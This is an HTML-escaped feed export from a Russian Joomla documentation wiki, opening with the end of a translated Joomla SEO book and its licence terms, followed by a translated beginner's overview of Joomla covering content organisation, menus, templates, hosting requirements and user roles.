Итак вы знаете все, для того что бы ваш '''сайт на Joomla''' стал привлекательным для поисковиков. Поэтому наберитесь терпения и '''начинайте работать'''!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Категория:Поисковая оптимизация сайта (SEO Joomla)]]&lt;br /&gt;
&lt;br /&gt;
=== Авторские права и распространение книги ===&lt;br /&gt;
Весь контент принадлежит Pathos-Seo.com и не может быть изменен. Если вы используете содержимое это книги вы должны дать обратную ссылку в таком виде:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;html4strict&amp;gt;&amp;lt;a href=&amp;quot;http://www.pathos-seo.com&amp;quot; title=&amp;quot;Joomla SEO and Search Engine Optimization for&lt;br /&gt;
Joomla websites&amp;quot;&amp;gt;Joomla Seo by Pathos-Seo.com&amp;lt;/a&amp;gt;&amp;lt;/html4strict&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Данный документ лицензирован согласно [http://creativecommons.org/licenses/by/2.5/ Creative Common License]. Вы свободны в праве:&lt;br /&gt;
* to copy, distribute, display, and perform the work&lt;br /&gt;
* to make derivative works&lt;br /&gt;
* to make commercial use of the work&lt;br /&gt;
* For any reuse or distribution, you must make clear to others the license terms of this work.&lt;br /&gt;
* Any of these conditions can be waived if you get permission from the copyright holder.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
''Эта статья представляет собой частичный перевод [http://www.pathos-seo.com/seo-for-your-website/little-joomla-seo-book.html документа], расположенного на сайте [http://www.pathos-seo.com/ Pathos-Seo.Com]''&lt;/div&gt;</summary>
		<author><name>Dead Krolik</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/%D0%9E%D0%B1%D0%B7%D0%BE%D1%80_Joomla</id>
		<title>Обзор Joomla</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/%D0%9E%D0%B1%D0%B7%D0%BE%D1%80_Joomla"/>
				<updated>2007-05-27T09:11:47Z</updated>
		
		<summary type="html">&lt;p&gt;Dead Krolik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Введение ===&lt;br /&gt;
Цель этой презентации это дать обзор того, как же можно использовать Joomla для создания сайтов. Я буду предполагать, что вы уже используете Joomla или предполагаете ее использовать. Мы лишь остановимся на вопросах &amp;quot;Что, почему и кто&amp;quot;. Ответы на вопрос &amp;quot;Как&amp;quot; займут слишком много времени. Для ответа на него лучше посетить сайты, указанные как источники дополнительной информации.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== А подойдет ли вам Joomla ===&lt;br /&gt;
==== Что такое Joomla ====&lt;br /&gt;
Joomla - это инструмент для создания сайтов. Так же существуют другие инструменты, такие как DreamWeaver, FrontPage или любой текстовый редатор. Некоторые хостинг-провайдеры предоставляют свои инструменты для построения сайтов.&lt;br /&gt;
&lt;br /&gt;
==== Почему надо использовать Joomla ====&lt;br /&gt;
* Управление содержимым - Joomla это Система Управления Содержимым (CMS). Такая система строит каждую страницу из базы данных когда посетитель запрашивает ее. Вы можете изменять содержимое из удобной панели управления, прямо в вашем браузере. Обычный же HTML-сайт по сути не изменяем, фиксирован. Для изменения сайта вам необходимо изменять файлы и загружать их на хостинг, что не совсем удобно и главное не быстро. &lt;br /&gt;
* Свободная лицензия - это значит, что данное программное обеспечение свободно. У Joomla есть огромное сообщество, множество пользователей и ресурсов, которые так же свободны.&lt;br /&gt;
&lt;br /&gt;
==== Кто должен пользоваться Joomla ====&lt;br /&gt;
Joomla идеально подходит для сайтов, где:&lt;br /&gt;
* Часто изменяется содержимое&lt;br /&gt;
* Сайтом занимаются не программисты&lt;br /&gt;
&lt;br /&gt;
Вам не нужны специальные технические знания или навыки для управления вашим сайтом. Попробовав раз, вы сможете делать это еще множество таких же вещей, без необходимости переучиваться. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Создание вашего сайта ===&lt;br /&gt;
Запомните, что Joomla это всего лишь инструмент. Эффективность вашего сайта и его полезность для аудитории определяется вашим контентом, информационной архитектурой и дизайном.&lt;br /&gt;
&lt;br /&gt;
==== Информационная архитектура ====&lt;br /&gt;
===== Организация вашего контента: разделы, категории и сам контент =====&lt;br /&gt;
Это самое начало. После того, как вы определились с тем, как же будет организован контент на вашем сайте, вам будет легче всего настроить Joomla для представления вашей информации.&lt;br /&gt;
&lt;br /&gt;
Joomla предлагает три уровня организации контента: разделы, категории и статьи (контент элементы). Их иерархия выглядит примерно так:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Section 1.0&lt;br /&gt;
        Category 1.1&lt;br /&gt;
                Content Item 1.1.1&lt;br /&gt;
                Content Item 1.1.2&lt;br /&gt;
        Category 1.2&lt;br /&gt;
                Content Item 1.2.1&lt;br /&gt;
        Content Item 1.2.2&lt;br /&gt;
&lt;br /&gt;
Section 2.0&lt;br /&gt;
        Category 2.1&lt;br /&gt;
                Content Item 2.1.1&lt;br /&gt;
                Content Item 2.1.2&lt;br /&gt;
&lt;br /&gt;
и так далее...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Можно представить, что раздел - это ящик стола, категория - папка с документами, а статья - это один документ. Так же существует статический контент, который находится вне рамок данной иерархии. &lt;br /&gt;
&lt;br /&gt;
===== Навигация на сайте: меню =====&lt;br /&gt;
После размещения контента вам необходимо дать возможность посетителям просматривать тот, который их интересует. Это делается при помощи меню. Создавая меню вы можете указывать при их помощи на разделы, категории или отдельные статьи. &lt;br /&gt;
&lt;br /&gt;
===== Именование вашего контента =====&lt;br /&gt;
Давая заголовки для разделов, категорий, статей и меню вы даете возможность вашим посетителям ориентироваться на сайте. Существуют стандартные ссылки в меню на сайтах, такие как &amp;quot;О нас&amp;quot; или &amp;quot;Контакт&amp;quot;, но помимо их вам необходимо придумать некие другие слова, которые будут в точности описывать ваши статьи и категории.&lt;br /&gt;
&lt;br /&gt;
===== Структуризация вашего контента =====&lt;br /&gt;
Исследования показали, что большинство людей может читать текст на сайтах на 25% быстрее, чем текст на распечатанных страницах с документами. И у вас есть всего 7 секунд, что бы заинтересовать пользователя, прежде чем он уйдет с вашего сайта. На основе этих двух фактов, можно дать некоторые советы о том, как же остановить взгляд пользователя создавая структуру вашего сайта:&lt;br /&gt;
* Для больших статей нужно некоторое введение, прочтя которое пользователи смогут перейти на просмотр полной версии статьи. Именно так и отображает статьи пункт меню Блог. &lt;br /&gt;
* Располагайте наиболее важные вещи в начале предложений&lt;br /&gt;
* Используйте структурированные списки для представления информации&lt;br /&gt;
* Используйте подзаголовки для описания тем: скажите посетителю о чем будут написаны дальнейшие параграфы&lt;br /&gt;
&lt;br /&gt;
==== Дизайн сайта - шаблоны ====&lt;br /&gt;
При использовании Joomla наполнение ваших сайтов полностью отделено от дизайна. Графические элементы дизайна, цвета, шрифты, позиционирование - все это определяется шаблоном вашего сайта. &lt;br /&gt;
&lt;br /&gt;
Создание шаблона с нуля требует знаний XHTML и PHP, а так же самого дизайна. Однако, существуют сотни свободных или коммерческих шаблонов, и ваша работа будет состоять лишь в выборе шаблона для вашего сайта. Выбрать шаблон можно лишь по вкусовым претензиям, либо по тому как часто его загружали другие, по тем комментариям которые оставляли люди, использовавшие данный шаблон, и по техническим параметрам, таким как: количество колонок, фиксированная или резиновая ширина, по позициям модулей.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Создание сайта ===&lt;br /&gt;
==== Требования к хостингу ====&lt;br /&gt;
Большинство современных хостинговых компаний предсталяют Linux как платформу и окружение хостинга, что чаще всего удовлетворяет требованиям Joomla к хостингу:&lt;br /&gt;
* PHP версии 4.2 или выше&lt;br /&gt;
* MySQL версии 3.23 или выше&lt;br /&gt;
* Apache версии 1.3.19 или выше&lt;br /&gt;
&lt;br /&gt;
Если у вас имеется хостинг, но он не удовлетворяет этим требованиям, то примерные расценки на такой хостинг - это 5$ в месяц (для Европы или США). &lt;br /&gt;
&lt;br /&gt;
Для настройки Joomla вам необходима следующая информация:&lt;br /&gt;
* Имя базы данных MySQL&lt;br /&gt;
* Имя пользователя&lt;br /&gt;
* Пароль&lt;br /&gt;
* Имя хоста для базы данных&lt;br /&gt;
&lt;br /&gt;
Если ваш тарифный план поддерживает более чем одну базу MySQL, вы можете сделать отдельную базу данных для Joomla. Если у вас есть всего лишь одна база данных для всех скриптов, вы можете при установке указать префикс таблиц (например jos_), для того, что бы избежать одинаковых названий таблиц у разных скриптов, которые могут использовать одну и ту же базу данных.&lt;br /&gt;
&lt;br /&gt;
==== Где можно скачать ====&lt;br /&gt;
Русскоязычную версию Joomla можно скачать на сайте [http://joom.ru Joom.Ru], англоязычный оригинал доступен на сайте [http://joomla.org Joomla.Org]. &lt;br /&gt;
&lt;br /&gt;
==== Установка скрипта ====&lt;br /&gt;
После установки Joomla вы сможете создавать уже '''ВАШ СОБСТВЕННЫЙ''' сайт. После этого садитесь в кресло и начинайте наполнять ваш сайт и изменять его дизайн. Попробуйте походить по админке и посмотреть на все ее возможности. &lt;br /&gt;
&lt;br /&gt;
===== Настройка разделов и категорий =====&lt;br /&gt;
Начните с создания разделов и категорий. Когда вы создаете ссылку из меню на содержимое раздела или категории решите - как же статьи оттуда будут отображаться - как листинг или как блог. Это два разных типа меню, по-разному отображающие один и тот же контент.&lt;br /&gt;
&lt;br /&gt;
==== Поставщики статей ====&lt;br /&gt;
Настало время для установки полномочий для тех людей, которые будут создавать статьи. Joomla поддерживает следующие роли пользователей для контента: &lt;br /&gt;
* Автор - ему разрешено создавать контент&lt;br /&gt;
* Редактор - имеет полномочия автора и может редактировать статьи&lt;br /&gt;
* Публикатор - имеет полномочия редактора и может публиковать статьи на сайте (делать их видимыми для других)&lt;br /&gt;
&lt;br /&gt;
Помните, пока статья не опубликована ее никто не увидит. Когда редактор или публикатор входят на сайт около статьи они могут увидеть значок ее редактирования. При нажатии на эту иконку он сможет изменить статью. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Советы по редактированию статей ===&lt;br /&gt;
Вы создаете статьи в Joomla при помощи TinyMCE редактора, поставляемого при установке. Для достижения наилучших результатов надо редактировать тексты именно в этом редакторе, не копируйте все прямо из ворда, лучше сделайте экспорт из ворда в текст, а потом уже разукрашивайте текст в редакторе. Так же, видимо, стоит подумать над тем, что бы иметь пару человек, которые будут заниматься только тем, что будут вводить статьи, создаваемые вашими авторами. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
''Данный текст - это частичный перевод [http://www.webtreedesigns.com/resources/JoomlaPresentation.pdf документа], доступного на сайте [http://webtreedesigns.com webTree designs]''&lt;/div&gt;</summary>
		<author><name>Dead Krolik</name></author>	</entry>

	</feed>
